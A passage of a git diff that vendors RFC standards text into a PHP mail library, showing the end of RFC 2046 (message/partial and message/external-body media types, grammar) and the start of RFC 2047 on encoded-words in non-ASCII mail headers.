allow large entities to be + delivered as several separate pieces of mail and automatically + reassembled by a receiving user agent. (The concept is similar to IP + fragmentation and reassembly in the basic Internet Protocols.) This + mechanism can be used when intermediate transport agents limit the + size of individual messages that can be sent. The media type + "message/partial" thus indicates that the body contains a fragment of + a larger entity. + + Because data of type "message" may never be encoded in base64 or + quoted-printable, a problem might arise if "message/partial" entities + are constructed in an environment that supports binary or 8bit + transport. The problem is that the binary data would be split into + multiple "message/partial" messages, each of them requiring binary + transport. If such messages were encountered at a gateway into a + 7bit transport environment, there would be no way to properly encode + them for the 7bit world, aside from waiting for all of the fragments, + reassembling the inner message, and then encoding the reassembled + data in base64 or quoted-printable. Since it is possible that + different fragments might go through different gateways, even this is + not an acceptable solution. For this reason, it is specified that + entities of type "message/partial" must always have a content- + transfer-encoding of 7bit (the default). In particular, even in + environments that support binary or 8bit transport, the use of a + content- transfer-encoding of "8bit" or "binary" is explicitly + prohibited for MIME entities of type "message/partial". This in turn + implies that the inner message must not use "8bit" or "binary" + encoding. + + + + + + +Freed & Borenstein Standards Track [Page 29] + +RFC 2046 Media Types November 1996 + + + Because some message transfer agents may choose to automatically + fragment large messages, and because such agents may use very + different fragmentation thresholds, it is possible that the pieces of + a partial message, upon reassembly, may prove themselves to comprise + a partial message. This is explicitly permitted. + + Three parameters must be specified in the Content-Type field of type + "message/partial": The first, "id", is a unique identifier, as close + to a world-unique identifier as possible, to be used to match the + fragments together. (In general, the identifier is essentially a + message-id; if placed in double quotes, it can be ANY message-id, in + accordance with the BNF for "parameter" given in RFC 2045.) The + second, "number", an integer, is the fragment number, which indicates + where this fragment fits into the sequence of fragments. The third, + "total", another integer, is the total number of fragments. This + third subfield is required on the final fragment, and is optional + (though encouraged) on the earlier fragments. Note also that these + parameters may be given in any order. + + Thus, the second piece of a 3-piece message may have either of the + following header fields: + + Content-Type: Message/Partial; number=2; total=3; + id="oc=jpbe0M2Yt4s@thumper.bellcore.com" + + Content-Type: Message/Partial; + id="oc=jpbe0M2Yt4s@thumper.bellcore.com"; + number=2 + + But the third piece MUST specify the total number of fragments: + + Content-Type: Message/Partial; number=3; total=3; + id="oc=jpbe0M2Yt4s@thumper.bellcore.com" + + Note that fragment numbering begins with 1, not 0. + + When the fragments of an entity broken up in this manner are put + together, the result is always a complete MIME entity, which may have + its own Content-Type header field, and thus may contain any other + data type. + +5.2.2.1. Message Fragmentation and Reassembly + + The semantics of a reassembled partial message must be those of the + "inner" message, rather than of a message containing the inner + message. This makes it possible, for example, to send a large audio + message as several partial messages, and still have it appear to the + recipient as a simple audio message rather than as an encapsulated + + + +Freed & Borenstein Standards Track [Page 30] + +RFC 2046 Media Types November 1996 + + + message containing an audio message. That is, the encapsulation of + the message is considered to be "transparent". + + When generating and reassembling the pieces of a "message/partial" + message, the headers of the encapsulated message must be merged with + the headers of the enclosing entities. In this process the following + rules must be observed: + + (1) Fragmentation agents must split messages at line + boundaries only. This restriction is imposed because + splits at points other than the ends of lines in turn + depends on message transports being able to preserve + the semantics of messages that don't end with a CRLF + sequence. Many transports are incapable of preserving + such semantics. + + (2) All of the header fields from the initial enclosing + message, except those that start with "Content-" and + the specific header fields "Subject", "Message-ID", + "Encrypted", and "MIME-Version", must be copied, in + order, to the new message. + + (3) The header fields in the enclosed message which start + with "Content-", plus the "Subject", "Message-ID", + "Encrypted", and "MIME-Version" fields, must be + appended, in order, to the header fields of the new + message. Any header fields in the enclosed message + which do not start with "Content-" (except for the + "Subject", "Message-ID", "Encrypted", and "MIME- + Version" fields) will be ignored and dropped. + + (4) All of the header fields from the second and any + subsequent enclosing messages are discarded by the + reassembly process. + +5.2.2.2. Fragmentation and Reassembly Example + + If an audio message is broken into two pieces, the first piece might + look something like this: + + X-Weird-Header-1: Foo + From: Bill@host.com + To: joe@otherhost.com + Date: Fri, 26 Mar 1993 12:59:38 -0500 (EST) + Subject: Audio mail (part 1 of 2) + Message-ID: + MIME-Version: 1.0 + Content-type: message/partial; id="ABC@host.com"; + + + +Freed & Borenstein Standards Track [Page 31] + +RFC 2046 Media Types November 1996 + + + number=1; total=2 + + X-Weird-Header-1: Bar + X-Weird-Header-2: Hello + Message-ID: + Subject: Audio mail + MIME-Version: 1.0 + Content-type: audio/basic + Content-transfer-encoding: base64 + + ... first half of encoded audio data goes here ... + + and the second half might look something like this: + + From: Bill@host.com + To: joe@otherhost.com + Date: Fri, 26 Mar 1993 12:59:38 -0500 (EST) + Subject: Audio mail (part 2 of 2) + MIME-Version: 1.0 + Message-ID: + Content-type: message/partial; + id="ABC@host.com"; number=2; total=2 + + ... second half of encoded audio data goes here ... + + Then, when the fragmented message is reassembled, the resulting + message to be displayed to the user should look something like this: + + X-Weird-Header-1: Foo + From: Bill@host.com + To: joe@otherhost.com + Date: Fri, 26 Mar 1993 12:59:38 -0500 (EST) + Subject: Audio mail + Message-ID: + MIME-Version: 1.0 + Content-type: audio/basic + Content-transfer-encoding: base64 + + ... first half of encoded audio data goes here ... + ... second half of encoded audio data goes here ... + + The inclusion of a "References" field in the headers of the second + and subsequent pieces of a fragmented message that references the + Message-Id on the previous piece may be of benefit to mail readers + that understand and track references. However, the generation of + such "References" fields is entirely optional. + + + + + +Freed & Borenstein Standards Track [Page 32] + +RFC 2046 Media Types November 1996 + + + Finally, it should be noted that the "Encrypted" header field has + been made obsolete by Privacy Enhanced Messaging (PEM) [RFC-1421, + RFC-1422, RFC-1423, RFC-1424], but the rules above are nevertheless + believed to describe the correct way to treat it if it is encountered + in the context of conversion to and from "message/partial" fragments. + +5.2.3. External-Body Subtype + + The external-body subtype indicates that the actual body data are not + included, but merely referenced. In this case, the parameters + describe a mechanism for accessing the external data. + + When a MIME entity is of type "message/external-body", it consists of + a header, two consecutive CRLFs, and the message header for the + encapsulated message. If another pair of consecutive CRLFs appears, + this of course ends the message header for the encapsulated message. + However, since the encapsulated message's body is itself external, it + does NOT appear in the area that follows. For example, consider the + following message: + + Content-type: message/external-body; + access-type=local-file; + name="/u/nsb/Me.jpeg" + + Content-type: image/jpeg + Content-ID: + Content-Transfer-Encoding: binary + + THIS IS NOT REALLY THE BODY! + + The area at the end, which might be called the "phantom body", is + ignored for most external-body messages. However, it may be used to + contain auxiliary information for some such messages, as indeed it is + when the access-type is "mail- server". The only access-type defined + in this document that uses the phantom body is "mail-server", but + other access-types may be defined in the future in other + specifications that use this area. + + The encapsulated headers in ALL "message/external-body" entities MUST + include a Content-ID header field to give a unique identifier by + which to reference the data. This identifier may be used for caching + mechanisms, and for recognizing the receipt of the data when the + access-type is "mail-server". + + Note that, as specified here, the tokens that describe external-body + data, such as file names and mail server commands, are required to be + in the US-ASCII character set. + + + + +Freed & Borenstein Standards Track [Page 33] + +RFC 2046 Media Types November 1996 + + + If this proves problematic in practice, a new mechanism may be + required as a future extension to MIME, either as newly defined + access-types for "message/external-body" or by some other mechanism. + + As with "message/partial", MIME entities of type "message/external- + body" MUST have a content-transfer-encoding of 7bit (the default). + In particular, even in environments that support binary or 8bit + transport, the use of a content- transfer-encoding of "8bit" or + "binary" is explicitly prohibited for entities of type + "message/external-body". + +5.2.3.1. General External-Body Parameters + + The parameters that may be used with any "message/external- body" + are: + + (1) ACCESS-TYPE -- A word indicating the supported access + mechanism by which the file or data may be obtained. + This word is not case sensitive. Values include, but + are not limited to, "FTP", "ANON-FTP", "TFTP", "LOCAL- + FILE", and "MAIL-SERVER". Future values, except for + experimental values beginning with "X-", must be + registered with IANA, as described in RFC 2048. + This parameter is unconditionally mandatory and MUST be + present on EVERY "message/external-body". + + (2) EXPIRATION -- The date (in the RFC 822 "date-time" + syntax, as extended by RFC 1123 to permit 4 digits in + the year field) after which the existence of the + external data is not guaranteed. This parameter may be + used with ANY access-type and is ALWAYS optional. + + (3) SIZE -- The size (in octets) of the data. The intent + of this parameter is to help the recipient decide + whether or not to expend the necessary resources to + retrieve the external data. Note that this describes + the size of the data in its canonical form, that is, + before any Content-Transfer-Encoding has been applied + or after the data have been decoded. This parameter + may be used with ANY access-type and is ALWAYS + optional. + + (4) PERMISSION -- A case-insensitive field that indicates + whether or not it is expected that clients might also + attempt to overwrite the data. By default, or if + permission is "read", the assumption is that they are + not, and that if the data is retrieved once, it is + never needed again. If PERMISSION is "read-write", + + + +Freed & Borenstein Standards Track [Page 34] + +RFC 2046 Media Types November 1996 + + + this assumption is invalid, and any local copy must be + considered no more than a cache. "Read" and "Read- + write" are the only defined values of permission. This + parameter may be used with ANY access-type and is + ALWAYS optional. + + The precise semantics of the access-types defined here are described + in the sections that follow. + +5.2.3.2. The 'ftp' and 'tftp' Access-Types + + An access-type of FTP or TFTP indicates that the message body is + accessible as a file using the FTP [RFC-959] or TFTP [RFC- 783] + protocols, respectively. For these access-types, the following + additional parameters are mandatory: + + (1) NAME -- The name of the file that contains the actual + body data. + + (2) SITE -- A machine from which the file may be obtained, + using the given protocol. This must be a fully + qualified domain name, not a nickname. + + (3) Before any data are retrieved, using FTP, the user will + generally need to be asked to provide a login id and a + password for the machine named by the site parameter. + For security reasons, such an id and password are not + specified as content-type parameters, but must be + obtained from the user. + + In addition, the following parameters are optional: + + (1) DIRECTORY -- A directory from which the data named by + NAME should be retrieved. + + (2) MODE -- A case-insensitive string indicating the mode + to be used when retrieving the information. The valid + values for access-type "TFTP" are "NETASCII", "OCTET", + and "MAIL", as specified by the TFTP protocol [RFC- + 783]. The valid values for access-type "FTP" are + "ASCII", "EBCDIC", "IMAGE", and "LOCALn" where "n" is a + decimal integer, typically 8. These correspond to the + representation types "A" "E" "I" and "L n" as specified + by the FTP protocol [RFC-959]. Note that "BINARY" and + "TENEX" are not valid values for MODE and that "OCTET" + or "IMAGE" or "LOCAL8" should be used instead. IF MODE + is not specified, the default value is "NETASCII" for + TFTP and "ASCII" otherwise. + + + +Freed & Borenstein Standards Track [Page 35] + +RFC 2046 Media Types November 1996 + + +5.2.3.3. The 'anon-ftp' Access-Type + + The "anon-ftp" access-type is identical to the "ftp" access type, + except that the user need not be asked to provide a name and password + for the specified site. Instead, the ftp protocol will be used with + login "anonymous" and a password that corresponds to the user's mail + address. + +5.2.3.4. The 'local-file' Access-Type + + An access-type of "local-file" indicates that the actual body is + accessible as a file on the local machine. Two additional parameters + are defined for this access type: + + (1) NAME -- The name of the file that contains the actual + body data. This parameter is mandatory for the + "local-file" access-type. + + (2) SITE -- A domain specifier for a machine or set of + machines that are known to have access to the data + file. This optional parameter is used to describe the + locality of reference for the data, that is, the site + or sites at which the file is expected to be visible. + Asterisks may be used for wildcard matching to a part + of a domain name, such as "*.bellcore.com", to indicate + a set of machines on which the data should be directly + visible, while a single asterisk may be used to + indicate a file that is expected to be universally + available, e.g., via a global file system. + +5.2.3.5. The 'mail-server' Access-Type + + The "mail-server" access-type indicates that the actual body is + available from a mail server. Two additional parameters are defined + for this access-type: + + (1) SERVER -- The addr-spec of the mail server from which + the actual body data can be obtained. This parameter + is mandatory for the "mail-server" access-type. + + (2) SUBJECT -- The subject that is to be used in the mail + that is sent to obtain the data. Note that keying mail + servers on Subject lines is NOT recommended, but such + mail servers are known to exist. This is an optional + parameter. + + + + + + +Freed & Borenstein Standards Track [Page 36] + +RFC 2046 Media Types November 1996 + + + Because mail servers accept a variety of syntaxes, some of which is + multiline, the full command to be sent to a mail server is not + included as a parameter in the content-type header field. Instead, + it is provided as the "phantom body" when the media type is + "message/external-body" and the access-type is mail-server. + + Note that MIME does not define a mail server syntax. Rather, it + allows the inclusion of arbitrary mail server commands in the phantom + body. Implementations must include the phantom body in the body of + the message it sends to the mail server address to retrieve the + relevant data. + + Unlike other access-types, mail-server access is asynchronous and + will happen at an unpredictable time in the future. For this reason, + it is important that there be a mechanism by which the returned data + can be matched up with the original "message/external-body" entity. + MIME mail servers must use the same Content-ID field on the returned + message that was used in the original "message/external-body" + entities, to facilitate such matching. + +5.2.3.6. External-Body Security Issues + + "Message/external-body" entities give rise to two important security + issues: + + (1) Accessing data via a "message/external-body" reference + effectively results in the message recipient performing + an operation that was specified by the message + originator. It is therefore possible for the message + originator to trick a recipient into doing something + they would not have done otherwise. For example, an + originator could specify a action that attempts + retrieval of material that the recipient is not + authorized to obtain, causing the recipient to + unwittingly violate some security policy. For this + reason, user agents capable of resolving external + references must always take steps to describe the + action they are to take to the recipient and ask for + explicit permisssion prior to performing it. + + The 'mail-server' access-type is particularly + vulnerable, in that it causes the recipient to send a + new message whose contents are specified by the + original message's originator. Given the potential for + abuse, any such request messages that are constructed + should contain a clear indication that they were + generated automatically (e.g. in a Comments: header + field) in an attempt to resolve a MIME + + + +Freed & Borenstein Standards Track [Page 37] + +RFC 2046 Media Types November 1996 + + + "message/external-body" reference. + + (2) MIME will sometimes be used in environments that + provide some guarantee of message integrity and + authenticity. If present, such guarantees may apply + only to the actual direct content of messages -- they + may or may not apply to data accessed through MIME's + "message/external-body" mechanism. In particular, it + may be possible to subvert certain access mechanisms + even when the messaging system itself is secure. + + It should be noted that this problem exists either with + or without the availabilty of MIME mechanisms. A + casual reference to an FTP site containing a document + in the text of a secure message brings up similar + issues -- the only difference is that MIME provides for + automatic retrieval of such material, and users may + place unwarranted trust is such automatic retrieval + mechanisms. + +5.2.3.7. Examples and Further Explanations + + When the external-body mechanism is used in conjunction with the + "multipart/alternative" media type it extends the functionality of + "multipart/alternative" to include the case where the same entity is + provided in the same format but via different accces mechanisms. + When this is done the originator of the message must order the parts + first in terms of preferred formats and then by preferred access + mechanisms. The recipient's viewer should then evaluate the list + both in terms of format and access mechanisms. + + With the emerging possibility of very wide-area file systems, it + becomes very hard to know in advance the set of machines where a file + will and will not be accessible directly from the file system. + Therefore it may make sense to provide both a file name, to be tried + directly, and the name of one or more sites from which the file is + known to be accessible. An implementation can try to retrieve remote + files using FTP or any other protocol, using anonymous file retrieval + or prompting the user for the necessary name and password. If an + external body is accessible via multiple mechanisms, the sender may + include multiple entities of type "message/external-body" within the + body parts of an enclosing "multipart/alternative" entity. + + However, the external-body mechanism is not intended to be limited to + file retrieval, as shown by the mail-server access-type. Beyond + this, one can imagine, for example, using a video server for external + references to video clips. + + + + +Freed & Borenstein Standards Track [Page 38] + +RFC 2046 Media Types November 1996 + + + The embedded message header fields which appear in the body of the + "message/external-body" data must be used to declare the media type + of the external body if it is anything other than plain US-ASCII + text, since the external body does not have a header section to + declare its type. Similarly, any Content-transfer-encoding other + than "7bit" must also be declared here. Thus a complete + "message/external-body" message, referring to an object in PostScript + format, might look like this: + + From: Whomever + To: Someone + Date: Whenever + Subject: whatever + MIME-Version: 1.0 + Message-ID: + Content-Type: multipart/alternative; boundary=42 + Content-ID: + + --42 + Content-Type: message/external-body; name="BodyFormats.ps"; + site="thumper.bellcore.com"; mode="image"; + access-type=ANON-FTP; directory="pub"; + expiration="Fri, 14 Jun 1991 19:13:14 -0400 (EDT)" + + Content-type: application/postscript + Content-ID: + + --42 + Content-Type: message/external-body; access-type=local-file; + name="/u/nsb/writing/rfcs/RFC-MIME.ps"; + site="thumper.bellcore.com"; + expiration="Fri, 14 Jun 1991 19:13:14 -0400 (EDT)" + + Content-type: application/postscript + Content-ID: + + --42 + Content-Type: message/external-body; + access-type=mail-server + server="listserv@bogus.bitnet"; + expiration="Fri, 14 Jun 1991 19:13:14 -0400 (EDT)" + + Content-type: application/postscript + Content-ID: + + get RFC-MIME.DOC + + --42-- + + + +Freed & Borenstein Standards Track [Page 39] + +RFC 2046 Media Types November 1996 + + + Note that in the above examples, the default Content-transfer- + encoding of "7bit" is assumed for the external postscript data. + + Like the "message/partial" type, the "message/external-body" media + type is intended to be transparent, that is, to convey the data type + in the external body rather than to convey a message with a body of + that type. Thus the headers on the outer and inner parts must be + merged using the same rules as for "message/partial". In particular, + this means that the Content-type and Subject fields are overridden, + but the From field is preserved. + + Note that since the external bodies are not transported along with + the external body reference, they need not conform to transport + limitations that apply to the reference itself. In particular, + Internet mail transports may impose 7bit and line length limits, but + these do not automatically apply to binary external body references. + Thus a Content-Transfer-Encoding is not generally necessary, though + it is permitted. + + Note that the body of a message of type "message/external-body" is + governed by the basic syntax for an RFC 822 message. In particular, + anything before the first consecutive pair of CRLFs is header + information, while anything after it is body information, which is + ignored for most access-types. + +5.2.4. Other Message Subtypes + + MIME implementations must in general treat unrecognized subtypes of + "message" as being equivalent to "application/octet-stream". + + Future subtypes of "message" intended for use with email should be + restricted to "7bit" encoding. A type other than "message" should be + used if restriction to "7bit" is not possible. + +6. Experimental Media Type Values + + A media type value beginning with the characters "X-" is a private + value, to be used by consenting systems by mutual agreement. Any + format without a rigorous and public definition must be named with an + "X-" prefix, and publicly specified values shall never begin with + "X-". (Older versions of the widely used Andrew system use the "X- + BE2" name, so new systems should probably choose a different name.) + + In general, the use of "X-" top-level types is strongly discouraged. + Implementors should invent subtypes of the existing types whenever + possible. In many cases, a subtype of "application" will be more + appropriate than a new top-level type. + + + + +Freed & Borenstein Standards Track [Page 40] + +RFC 2046 Media Types November 1996 + + +7. Summary + + The five discrete media types provide provide a standardized + mechanism for tagging entities as "audio", "image", or several other + kinds of data. The composite "multipart" and "message" media types + allow mixing and hierarchical structuring of entities of different + types in a single message. A distinguished parameter syntax allows + further specification of data format details, particularly the + specification of alternate character sets. Additional optional + header fields provide mechanisms for certain extensions deemed + desirable by many implementors. Finally, a number of useful media + types are defined for general use by consenting user agents, notably + "message/partial" and "message/external-body". + +9. Security Considerations + + Security issues are discussed in the context of the + "application/postscript" type, the "message/external-body" type, and + in RFC 2048. Implementors should pay special attention to the + security implications of any media types that can cause the remote + execution of any actions in the recipient's environment. In such + cases, the discussion of the "application/postscript" type may serve + as a model for considering other media types with remote execution + capabilities. + + + + + + + + + + + + + + + + + + + + + + + + + + + +Freed & Borenstein Standards Track [Page 41] + +RFC 2046 Media Types November 1996 + + +9. Authors' Addresses + + For more information, the authors of this document are best contacted + via Internet mail: + + Ned Freed + Innosoft International, Inc. + 1050 East Garvey Avenue South + West Covina, CA 91790 + USA + + Phone: +1 818 919 3600 + Fax: +1 818 919 3614 + EMail: ned@innosoft.com + + + Nathaniel S. Borenstein + First Virtual Holdings + 25 Washington Avenue + Morristown, NJ 07960 + USA + + Phone: +1 201 540 8967 + Fax: +1 201 993 3032 + EMail: nsb@nsb.fv.com + + + MIME is a result of the work of the Internet Engineering Task Force + Working Group on RFC 822 Extensions. The chairman of that group, + Greg Vaudreuil, may be reached at: + + Gregory M. Vaudreuil + Octel Network Services + 17080 Dallas Parkway + Dallas, TX 75248-1905 + USA + + EMail: Greg.Vaudreuil@Octel.Com + + + + + + + + + + + + + +Freed & Borenstein Standards Track [Page 42] + +RFC 2046 Media Types November 1996 + + +Appendix A -- Collected Grammar + + This appendix contains the complete BNF grammar for all the syntax + specified by this document. + + By itself, however, this grammar is incomplete. It refers by name to + several syntax rules that are defined by RFC 822. Rather than + reproduce those definitions here, and risk unintentional differences + between the two, this document simply refers the reader to RFC 822 + for the remaining definitions. Wherever a term is undefined, it + refers to the RFC 822 definition. + + boundary := 0*69 bcharsnospace + + bchars := bcharsnospace / " " + + bcharsnospace := DIGIT / ALPHA / "'" / "(" / ")" / + "+" / "_" / "," / "-" / "." / + "/" / ":" / "=" / "?" + + body-part := <"message" as defined in RFC 822, with all + header fields optional, not starting with the + specified dash-boundary, and with the + delimiter not occurring anywhere in the + body part. Note that the semantics of a + part differ from the semantics of a message, + as described in the text.> + + close-delimiter := delimiter "--" + + dash-boundary := "--" boundary + ; boundary taken from the value of + ; boundary parameter of the + ; Content-Type field. + + delimiter := CRLF dash-boundary + + discard-text := *(*text CRLF) + ; May be ignored or discarded. + + encapsulation := delimiter transport-padding + CRLF body-part + + epilogue := discard-text + + multipart-body := [preamble CRLF] + dash-boundary transport-padding CRLF + body-part *encapsulation + + + +Freed & Borenstein Standards Track [Page 43] + +RFC 2046 Media Types November 1996 + + + close-delimiter transport-padding + [CRLF epilogue] + + preamble := discard-text + + transport-padding := *LWSP-char + ; Composers MUST NOT generate + ; non-zero length transport + ; padding, but receivers MUST + ; be able to handle padding + ; added by message transports. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Freed & Borenstein Standards Track [Page 44] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2047.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2047.txt new file mode 100644 index 00000000..ff9a744b --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2047.txt @@ -0,0 +1,843 @@ + + + + + + +Network Working Group K. Moore +Request for Comments: 2047 University of Tennessee +Obsoletes: 1521, 1522, 1590 November 1996 +Category: Standards Track + + + MIME (Multipurpose Internet Mail Extensions) Part Three: + Message Header Extensions for Non-ASCII Text + +Status of this Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Abstract + + STD 11, RFC 822, defines a message representation protocol specifying + considerable detail about US-ASCII message headers, and leaves the + message content, or message body, as flat US-ASCII text. This set of + documents, collectively called the Multipurpose Internet Mail + Extensions, or MIME, redefines the format of messages to allow for + + (1) textual message bodies in character sets other than US-ASCII, + + (2) an extensible set of different formats for non-textual message + bodies, + + (3) multi-part message bodies, and + + (4) textual header information in character sets other than US-ASCII. + + These documents are based on earlier work documented in RFC 934, STD + 11, and RFC 1049, but extends and revises them. Because RFC 822 said + so little about message bodies, these documents are largely + orthogonal to (rather than a revision of) RFC 822. + + This particular document is the third document in the series. It + describes extensions to RFC 822 to allow non-US-ASCII text data in + Internet mail header fields. + + + + + + + + + +Moore Standards Track [Page 1] + +RFC 2047 Message Header Extensions November 1996 + + + Other documents in this series include: + + + RFC 2045, which specifies the various headers used to describe + the structure of MIME messages. + + + RFC 2046, which defines the general structure of the MIME media + typing system and defines an initial set of media types, + + + RFC 2048, which specifies various IANA registration procedures + for MIME-related facilities, and + + + RFC 2049, which describes MIME conformance criteria and + provides some illustrative examples of MIME message formats, + acknowledgements, and the bibliography. + + These documents are revisions of RFCs 1521, 1522, and 1590, which + themselves were revisions of RFCs 1341 and 1342. An appendix in RFC + 2049 describes differences and changes from previous versions. + +1. Introduction + + RFC 2045 describes a mechanism for denoting textual body parts which + are coded in various character sets, as well as methods for encoding + such body parts as sequences of printable US-ASCII characters. This + memo describes similar techniques to allow the encoding of non-ASCII + text in various portions of a RFC 822 [2] message header, in a manner + which is unlikely to confuse existing message handling software. + + Like the encoding techniques described in RFC 2045, the techniques + outlined here were designed to allow the use of non-ASCII characters + in message headers in a way which is unlikely to be disturbed by the + quirks of existing Internet mail handling programs. In particular, + some mail relaying programs are known to (a) delete some message + header fields while retaining others, (b) rearrange the order of + addresses in To or Cc fields, (c) rearrange the (vertical) order of + header fields, and/or (d) "wrap" message headers at different places + than those in the original message. In addition, some mail reading + programs are known to have difficulty correctly parsing message + headers which, while legal according to RFC 822, make use of + backslash-quoting to "hide" special characters such as "<", ",", or + ":", or which exploit other infrequently-used features of that + specification. + + While it is unfortunate that these programs do not correctly + interpret RFC 822 headers, to "break" these programs would cause + severe operational problems for the Internet mail system. The + extensions described in this memo therefore do not rely on little- + used features of RFC 822. + + + +Moore Standards Track [Page 2] + +RFC 2047 Message Header Extensions November 1996 + + + Instead, certain sequences of "ordinary" printable ASCII characters + (known as "encoded-words") are reserved for use as encoded data. The + syntax of encoded-words is such that they are unlikely to + "accidentally" appear as normal text in message headers. + Furthermore, the characters used in encoded-words are restricted to + those which do not have special meanings in the context in which the + encoded-word appears. + + Generally, an "encoded-word" is a sequence of printable ASCII + characters that begins with "=?", ends with "?=", and has two "?"s in + between. It specifies a character set and an encoding method, and + also includes the original text encoded as graphic ASCII characters, + according to the rules for that encoding method. + + A mail composer that implements this specification will provide a + means of inputting non-ASCII text in header fields, but will + translate these fields (or appropriate portions of these fields) into + encoded-words before inserting them into the message header. + + A mail reader that implements this specification will recognize + encoded-words when they appear in certain portions of the message + header. Instead of displaying the encoded-word "as is", it will + reverse the encoding and display the original text in the designated + character set. + +NOTES + + This memo relies heavily on notation and terms defined RFC 822 and + RFC 2045. In particular, the syntax for the ABNF used in this memo + is defined in RFC 822, as well as many of the terminal or nonterminal + symbols from RFC 822 are used in the grammar for the header + extensions defined here. Among the symbols defined in RFC 822 and + referenced in this memo are: 'addr-spec', 'atom', 'CHAR', 'comment', + 'CTLs', 'ctext', 'linear-white-space', 'phrase', 'quoted-pair'. + 'quoted-string', 'SPACE', and 'word'. Successful implementation of + this protocol extension requires careful attention to the RFC 822 + definitions of these terms. + + When the term "ASCII" appears in this memo, it refers to the "7-Bit + American Standard Code for Information Interchange", ANSI X3.4-1986. + The MIME charset name for this character set is "US-ASCII". When not + specifically referring to the MIME charset name, this document uses + the term "ASCII", both for brevity and for consistency with RFC 822. + However, implementors are warned that the character set name must be + spelled "US-ASCII" in MIME message and body part headers. + + + + + + +Moore Standards Track [Page 3] + +RFC 2047 Message Header Extensions November 1996 + + + This memo specifies a protocol for the representation of non-ASCII + text in message headers. It specifically DOES NOT define any + translation between "8-bit headers" and pure ASCII headers, nor is + any such translation assumed to be possible. + +2. Syntax of encoded-words + + An 'encoded-word' is defined by the following ABNF grammar. The + notation of RFC 822 is used, with the exception that white space + characters MUST NOT appear between components of an 'encoded-word'. + + encoded-word = "=?" charset "?" encoding "?" encoded-text "?=" + + charset = token ; see section 3 + + encoding = token ; see section 4 + + token = 1* + + especials = "(" / ")" / "<" / ">" / "@" / "," / ";" / ":" / " + <"> / "/" / "[" / "]" / "?" / "." / "=" + + encoded-text = 1* + ; (but see "Use of encoded-words in message + ; headers", section 5) + + Both 'encoding' and 'charset' names are case-independent. Thus the + charset name "ISO-8859-1" is equivalent to "iso-8859-1", and the + encoding named "Q" may be spelled either "Q" or "q". + + An 'encoded-word' may not be more than 75 characters long, including + 'charset', 'encoding', 'encoded-text', and delimiters. If it is + desirable to encode more text than will fit in an 'encoded-word' of + 75 characters, multiple 'encoded-word's (separated by CRLF SPACE) may + be used. + + While there is no limit to the length of a multiple-line header + field, each line of a header field that contains one or more + 'encoded-word's is limited to 76 characters. + + The length restrictions are included both to ease interoperability + through internetwork mail gateways, and to impose a limit on the + amount of lookahead a header parser must employ (while looking for a + final ?= delimiter) before it can decide whether a token is an + "encoded-word" or something else. + + + + + +Moore Standards Track [Page 4] + +RFC 2047 Message Header Extensions November 1996 + + + IMPORTANT: 'encoded-word's are designed to be recognized as 'atom's + by an RFC 822 parser. As a consequence, unencoded white space + characters (such as SPACE and HTAB) are FORBIDDEN within an + 'encoded-word'. For example, the character sequence + + =?iso-8859-1?q?this is some text?= + + would be parsed as four 'atom's, rather than as a single 'atom' (by + an RFC 822 parser) or 'encoded-word' (by a parser which understands + 'encoded-words'). The correct way to encode the string "this is some + text" is to encode the SPACE characters as well, e.g. + + =?iso-8859-1?q?this=20is=20some=20text?= + + The characters which may appear in 'encoded-text' are further + restricted by the rules in section 5. + +3. Character sets + + The 'charset' portion of an 'encoded-word' specifies the character + set associated with the unencoded text. A 'charset' can be any of + the character set names allowed in an MIME "charset" parameter of a + "text/plain" body part, or any character set name registered with + IANA for use with the MIME text/plain content-type. + + Some character sets use code-switching techniques to switch between + "ASCII mode" and other modes. If unencoded text in an 'encoded-word' + contains a sequence which causes the charset interpreter to switch + out of ASCII mode, it MUST contain additional control codes such that + ASCII mode is again selected at the end of the 'encoded-word'. (This + rule applies separately to each 'encoded-word', including adjacent + 'encoded-word's within a single header field.) + + When there is a possibility of using more than one character set to + represent the text in an 'encoded-word', and in the absence of + private agreements between sender and recipients of a message, it is + recommended that members of the ISO-8859-* series be used in + preference to other character sets. + +4. Encodings + + Initially, the legal values for "encoding" are "Q" and "B". These + encodings are described below. The "Q" encoding is recommended for + use when most of the characters to be encoded are in the ASCII + character set; otherwise, the "B" encoding should be used. + Nevertheless, a mail reader which claims to recognize 'encoded-word's + MUST be able to accept either encoding for any character set which it + supports. + + + +Moore Standards Track [Page 5] + +RFC 2047 Message Header Extensions November 1996 + + + Only a subset of the printable ASCII characters may be used in + 'encoded-text'. Space and tab characters are not allowed, so that + the beginning and end of an 'encoded-word' are obvious. The "?" + character is used within an 'encoded-word' to separate the various + portions of the 'encoded-word' from one another, and thus cannot + appear in the 'encoded-text' portion. Other characters are also + illegal in certain contexts. For example, an 'encoded-word' in a + 'phrase' preceding an address in a From header field may not contain + any of the "specials" defined in RFC 822. Finally, certain other + characters are disallowed in some contexts, to ensure reliability for + messages that pass through internetwork mail gateways. + + The "B" encoding automatically meets these requirements. The "Q" + encoding allows a wide range of printable characters to be used in + non-critical locations in the message header (e.g., Subject), with + fewer characters available for use in other locations. + +4.1. The "B" encoding + + The "B" encoding is identical to the "BASE64" encoding defined by RFC + 2045. + +4.2. The "Q" encoding + + The "Q" encoding is similar to the "Quoted-Printable" content- + transfer-encoding defined in RFC 2045. It is designed to allow text + containing mostly ASCII characters to be decipherable on an ASCII + terminal without decoding. + + (1) Any 8-bit value may be represented by a "=" followed by two + hexadecimal digits. For example, if the character set in use + were ISO-8859-1, the "=" character would thus be encoded as + "=3D", and a SPACE by "=20". (Upper case should be used for + hexadecimal digits "A" through "F".) + + (2) The 8-bit hexadecimal value 20 (e.g., ISO-8859-1 SPACE) may be + represented as "_" (underscore, ASCII 95.). (This character may + not pass through some internetwork mail gateways, but its use + will greatly enhance readability of "Q" encoded data with mail + readers that do not support this encoding.) Note that the "_" + always represents hexadecimal 20, even if the SPACE character + occupies a different code position in the character set in use. + + (3) 8-bit values which correspond to printable ASCII characters other + than "=", "?", and "_" (underscore), MAY be represented as those + characters. (But see section 5 for restrictions.) In + particular, SPACE and TAB MUST NOT be represented as themselves + within encoded words. + + + 